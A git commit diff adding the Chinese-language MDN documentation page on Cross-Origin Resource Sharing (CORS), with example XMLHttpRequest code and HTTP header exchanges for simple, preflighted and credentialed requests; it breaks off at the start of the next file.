diff options
author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:40:17 -0500 |
---|---|---|
committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:40:17 -0500 |
commit | 33058f2b292b3a581333bdfb21b8f671898c5060 (patch) | |
tree | 51c3e392513ec574331b2d3f85c394445ea803c6 /files/zh-cn/web/http | |
parent | 8b66d724f7caf0157093fb09cfec8fbd0c6ad50a (diff) | |
download | translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.gz translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.bz2 translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.zip |
initial commit
Diffstat (limited to 'files/zh-cn/web/http')
234 files changed, 22968 insertions, 0 deletions
diff --git a/files/zh-cn/web/http/access_control_cors/index.html b/files/zh-cn/web/http/access_control_cors/index.html new file mode 100644 index 0000000000..c7acc1344d --- /dev/null +++ b/files/zh-cn/web/http/access_control_cors/index.html @@ -0,0 +1,510 @@ +--- +title: 跨源资源共享(CORS) +slug: Web/HTTP/Access_control_CORS +tags: + - AJAX + - CORS + - Cross-Origin Resource Sharing + - Fetch + - Fetch API + - HTTP + - HTTP Access Controls + - Same-origin policy + - Security + - XMLHttpRequest + - 'l10n:priority' +translation_of: Web/HTTP/CORS +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>跨源资源共享</strong> ({{Glossary("CORS")}}) (或通俗地译为跨域资源共享)是一种基于{{Glossary("HTTP")}} 头的机制,该机制通过允许服务器标示除了它自己以外的其它{{glossary("origin")}}(域,协议和端口),这样浏览器可以访问加载这些资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有HTTP方法和真实请求中会用到的头。</p> + +<p>跨源HTTP请求的一个例子:运行在 http://domain-a.com 的JavaScript代码使用{{domxref("XMLHttpRequest")}}来发起一个到 https://domain-b.com/data.json 的请求。</p> + +<p>出于安全性,浏览器限制脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 467px; width: 672px;"></p> + +<p>跨源域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> )使用 CORS,以降低跨源 HTTP 请求所带来的风险。</p> + +<h2 id="谁应该读这篇文章?">谁应该读这篇文章?</h2> + +<p>说实话,每个人。</p> + +<p>更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨源资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 <a class="internal" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Server-Side_Access_Control" title="En/Server-Side Access Control">cross-origin sharing from a server perspective (with PHP code snippets)</a> 。</p> + +<h2 id="什么情况下需要_CORS_?">什么情况下需要 CORS ?</h2> + +<p>这份 <a class="external external-icon" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">cross-origin sharing standard</a> 允许在下列场景中使用跨站点 HTTP 请求:</p> + +<ul> + <li>前文提到的由 {{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 发起的跨源 HTTP 请求。</li> + <li>Web 字体 (CSS 中通过<code> @font-face </code>使用跨源字体资源),<a class="external external-icon" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements" title="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">因此,网站就可以发布 TrueType 字体资源,并只允许已授权网站进行跨站调用</a>。</li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 贴图</a></li> + <li>使用 <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code> 将 Images/video 画面绘制到 canvas</li> +</ul> + +<p>本文概述了跨源资源共享机制及其所涉及的 HTTP 头。</p> + +<h2 id="功能概述">功能概述</h2> + +<p>跨源资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 <a href="/zh-CN/docs/Web/HTTP/Cookies">Cookies </a>和 HTTP 认证相关数据)。</p> + +<p>CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。</p> + +<p>接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。</p> + +<h2 id="若干访问控制场景">若干访问控制场景</h2> + +<p>这里,我们使用三个场景来解释跨源资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。</p> + +<p>本文中的 JavaScript 代码片段都可以从 <a href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> 获得。另外,使用支持跨源 {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。</p> + +<p>关于服务端对跨源资源共享的支持的讨论,请参见这篇文章: <a href="/zh-CN/docs/Web/HTTP/Server-Side_Access_Control">Server-Side_Access_Control (CORS)</a>。</p> + +<h3 id="简单请求">简单请求</h3> + +<p>某些请求不会触发 <a href="/zh-CN/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">CORS 预检请求</a>。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:</p> + +<ul> + <li>使用下列方法之一: + <ul> + <li>{{HTTPMethod("GET")}}</li> + <li>{{HTTPMethod("HEAD")}}</li> + <li>{{HTTPMethod("POST")}}</li> + </ul> + </li> + <li><span class="short_text" id="result_box" lang="zh-CN"><span>除了被用户代理自动设置的首部字段(例如 </span></span>{{HTTPHeader("Connection")}} ,{{HTTPHeader("User-Agent")}}<span class="short_text" lang="zh-CN"><span>)和在 Fetch 规范中定义为 </span></span><a href="https://fetch.spec.whatwg.org/#forbidden-header-name">禁用首部名称</a><span class="short_text" lang="zh-CN"><span> 的其他首部,允许人为设置的字段为 Fetch 规范定义的 </span></span><a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">对 CORS 安全的首部字段集合</a>。该集合为: + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (需要注意额外的限制)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#downlink">Downlink</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li>{{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: + <ul> + <li><code>text/plain</code></li> + <li><code>multipart/form-data</code></li> + <li><code>application/x-www-form-urlencoded</code></li> + </ul> + </li> + <li>请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。</li> + <li>请求中没有使用 {{domxref("ReadableStream")}} 对象。</li> +</ul> + +<div class="note"><strong>注意:</strong> 这些跨站点请求与浏览器发出的其他跨站点请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨站点请求的网站无需为这一新的 HTTP 访问控制特性担心。</div> + +<div class="note"><strong>注意:</strong> WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。</div> + +<p>比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:</p> + +<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/public-data/'; + +function callOtherDomain() { + if(invocation) { + invocation.open('GET', url, true); + invocation.onreadystatechange = handler; + invocation.send(); + } +} +</pre> + +<p><span class="short_text" id="result_box" lang="zh-CN"><span>客户端和服务器之间使用 CORS 首部字段来处理权限:</span></span></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/17214/simple-req-updated.png" style="height: 490px; width: 1023px;"></p> + +<p>分别检视请求报文和响应报文:</p> + +<pre class="brush: shell notranslate">GET /resources/public-data/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/access-control/simpleXSInvocation.html +Origin: http://foo.example + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2.0.61 +Access-Control-Allow-Origin: * +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[XML Data] +</pre> + +<p>第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 <code>http://foo.example</code>。</p> + +<p>第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 <code>Access-Control-Allow-Origin: *</code> 表明,该资源可以被<strong>任意</strong>外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:</p> + +<p><code>Access-Control-Allow-Origin: http://foo.example</code></p> + +<p>现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。<code>Access-Control-Allow-Origin</code> 应当为 * 或者包含由 Origin 首部字段所指明的域名。</p> + +<h3 id="预检请求">预检请求</h3> + +<p>与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。</p> + +<p>如下是一个需要执行预检请求的 HTTP 请求:</p> + +<pre class="brush: js notranslate">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/post-here/'; +var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; + +function callOtherDomain(){ + if(invocation) + { + invocation.open('POST', url, true); + invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); + invocation.setRequestHeader('Content-Type', 'application/xml'); + invocation.onreadystatechange = handler; + invocation.send(body); + } +} + +...... +</pre> + +<p>上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p> + +<pre class="notranslate">OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain</pre> + +<p>预检请求完成之后,发送实际请求:</p> + +<pre class="notranslate"><code>POST /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: http://foo.example/examples/preflightInvocation.html +Content-Length: 55 +Origin: http://foo.example +Pragma: no-cache +Cache-Control: no-cache + +<?xml version="1.0"?><person><name>Arun</name></person> + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Some GZIP'd payload]</code></pre> + +<p>浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 <code>OPTIONS 方法的“</code>预检请求<code>”。</code> OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:</p> + +<pre class="notranslate"><code>Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type</code></pre> + +<p>首部字段 {{HTTPHeader("Access-Control-Request-Method")}} 告知服务器,实际请求将使用 POST 方法。首部字段 {{HTTPHeader("Access-Control-Request-Headers")}} 告知服务器,实际请求将携带两个自定义请求首部字段:<code>X-PINGOTHER</code> 与 <code>Content-Type</code>。服务器据此决定,该实际请求是否被允许。</p> + +<p>第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:</p> + +<pre class="notranslate"><code>Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400</code></pre> + +<p><font face="Open Sans, Arial, sans-serif">首部字段</font><code><font face="Open Sans, Arial, sans-serif"> </font>Access-Control-Allow-Methods </code>表明服务器允许客户端使用<code> </code><code>POST,</code> <code>GET </code>和 <code>OPTIONS</code> 方法发起请求。该字段与 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7">HTTP/1.1 Allow: response header</a> 类似,但仅限于在需要访问控制的场景中使用。</p> + +<p>首部字段 <code>Access-Control-Allow-Headers </code>表明服务器允许请求中携带字段 <code><code>X-PINGOTHER </code></code>与<code><code> Content-Type</code></code>。<font face="Open Sans, Arial, sans-serif">与</font><code><code><font face="Open Sans, Arial, sans-serif"> </font></code></code><code>Access-Control-Allow-Methods </code>一样,<code><code>Access-Control-Allow-Headers</code></code> 的值为逗号分割的列表。</p> + +<p>最后,首部字段 <code>Access-Control-Max-Age</code> 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。</p> + +<h4 id="预检请求与重定向">预检请求与重定向</h4> + +<p>大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:</p> + +<blockquote> +<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> +</blockquote> + +<blockquote> +<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> +</blockquote> + +<p>CORS 最初要求该行为,不过<a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">在后续的修订中废弃了这一要求</a>。</p> + +<p>在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:</p> + +<ul> + <li>在服务端去掉对预检请求的重定向;</li> + <li>将实际请求变成一个简单请求。</li> +</ul> + +<p>如果上面两种方式难以做到,我们仍有其他办法:</p> + +<ul> + <li>发出一个简单请求(使用 <a href="/en-US/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a>)以判断真正的预检请求会返回什么地址。</li> + <li>发出另一个请求(真正的请求),使用在上一步通过<a href="https://developer.mozilla.org/en-US/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseURL">XMLHttpRequest.responseURL</a>获得的URL。</li> +</ul> + +<p>不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。</p> + +<h3 id="附带身份凭证的请求">附带身份凭证的请求</h3> + +<p>{{domxref("XMLHttpRequest")}} 或 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 与 CORS 的一个有趣的特性是,可以基于 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> 和 HTTP 认证信息发送身份凭证。一般而言,对于跨源 {{domxref("XMLHttpRequest")}} 或 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 请求,浏览器<strong>不会</strong>发送身份凭证信息。如果要发送凭证信息,需要设置 <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a> </code>的某个特殊标志位。</p> + +<p>本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:</p> + +<pre id="line1"><code>var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/credentialed-content/'; + +function callOtherDomain(){ + if(invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +}</code></pre> + +<p>第 7 行将 <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a> </code>的 <code>withCredentials</code> 标志设置为 <code>true</code>,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 <code>Access-Control-Allow-Credentials: true</code> ,浏览器将不会把响应内容返回给请求的发送者。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/17213/cred-req-updated.png" style="height: 490px; width: 1023px;"></p> + +<p>客户端与服务器端交互示例如下:</p> + +<pre class="notranslate"><code>GET /resources/access-control-with-credentials/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Connection: keep-alive +Referer: http://foo.example/examples/credential.html +Origin: http://foo.example +Cookie: pageAccess=2 + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2 +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload]</code></pre> + +<p>即使第 10 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>(第 17 行),则响应内容不会返回给请求的发起者。</p> + +<h4 id="附带身份凭证的请求与通配符">附带身份凭证的请求与通配符</h4> + +<p>对于附带身份凭证的请求,服务器不得设置 <code>Access-Control-Allow-Origin</code> 的值为“<code>*</code>”。</p> + +<p>这是因为请求的首部中携带了 <code>Cookie</code> 信息,如果 <code>Access-Control-Allow-Origin</code> 的值为“<code>*</code>”,请求将会失败。而将 <code>Access-Control-Allow-Origin</code> 的值设置为 <code>http://foo.example</code>,则请求将成功执行。</p> + +<p>另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。</p> + +<h4 id="第三方_cookies">第三方 cookies</h4> + +<p>注意在 CORS 响应中设置的 cookies 适用一般性第三方 cookie 策略。在上面的例子中,页面是在 `foo.example` 加载,但是第 20 行的 cookie 是被 `bar.other` 发送的,如果用户设置其浏览器拒绝所有第三方 cookies,那么将不会被保存。</p> + +<h2 id="HTTP_响应首部字段">HTTP 响应首部字段</h2> + +<p>本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。</p> + +<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> + +<p>响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:</p> + +<pre class="notranslate">Access-Control-Allow-Origin: <origin> | * +</pre> + +<p>其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。</p> + +<p>例如,下面的字段值将允许来自 http://mozilla.com 的请求:</p> + +<pre class="notranslate">Access-Control-Allow-Origin: <span class="plain">http://mozilla.com</span></pre> + +<p>如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。</p> + +<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> + +<p>译者注:在跨源访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。</p> + +<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:</p> + +<pre class="notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +</pre> + +<p>这样浏览器就能够通过getResponseHeader访问<code>X-My-Custom-Header</code>和 <code>X-Another-Custom-Header</code> 响应头了。</p> + +<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> + +<p>{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。</p> + +<pre class="notranslate">Access-Control-Max-Age: <delta-seconds> +</pre> + +<p><code>delta-seconds</code> 参数表示preflight请求的结果在多少秒内有效。</p> + +<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的<code>credentials</code>设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用<code>credentials</code>。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。</p> + +<pre class="notranslate">Access-Control-Allow-Credentials: true +</pre> + +<p>上文已经讨论了<a href="#Requests_with_credentials">附带身份凭证的请求</a>。</p> + +<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。</p> + +<pre class="notranslate">Access-Control-Allow-Methods: <method>[, <method>]* +</pre> + +<p>相关示例见<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">这里</a>。</p> + +<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。</p> + +<pre class="notranslate">Access-Control-Allow-Headers: <field-name>[, <field-name>]* +</pre> + +<h2 id="HTTP_请求首部字段">HTTP 请求首部字段</h2> + +<p>本节列出了可用于发起跨源请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨源请求时,它们已经被设置就绪。</p> + +<h3 id="Origin">Origin</h3> + +<p>{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。</p> + +<pre class="notranslate">Origin: <origin> +</pre> + +<p>origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。</p> + +<div class="note"><strong>Note:</strong> 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。</div> + +<p>注意,在所有访问控制请求(Access control request)中,{{HTTPHeader("Origin")}} 首部字段<strong>总是</strong>被发送。</p> + +<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> + +<p>{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。</p> + +<pre class="notranslate">Access-Control-Request-Method: <method> +</pre> + +<p>相关示例见<a href="#Preflighted_requests">这里</a>。</p> + +<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。</p> + +<pre class="notranslate">Access-Control-Request-Headers: <field-name>[, <field-name>]* +</pre> + +<p>相关示例见<a href="#">这里</a>。</p> + +<h2 id="规范">规范</h2> + +<table> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>New definition; supplants CORS specification.</td> + </tr> + <tr> + <td>{{SpecName('CORS')}}</td> + <td>{{Spec2('CORS')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h3 id="注">注</h3> + +<ul> + <li>IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。</li> + <li>Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨源支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨源支持;Firefox 9 引入了对 drawImage 的跨源支持。</li> +</ul> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="http://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> + <li><a href="http://www.w3.org/TR/cors/">Cross-Origin Resource Sharing specification</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> + <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li> +</ul> + +<p>{{ languages( { "ja": "ja/HTTP_access_control" } ) }}</p> diff --git a/files/zh-cn/web/http/authentication/index.html b/files/zh-cn/web/http/authentication/index.html new file mode 100644 index 0000000000..85e2cbe41a --- /dev/null +++ 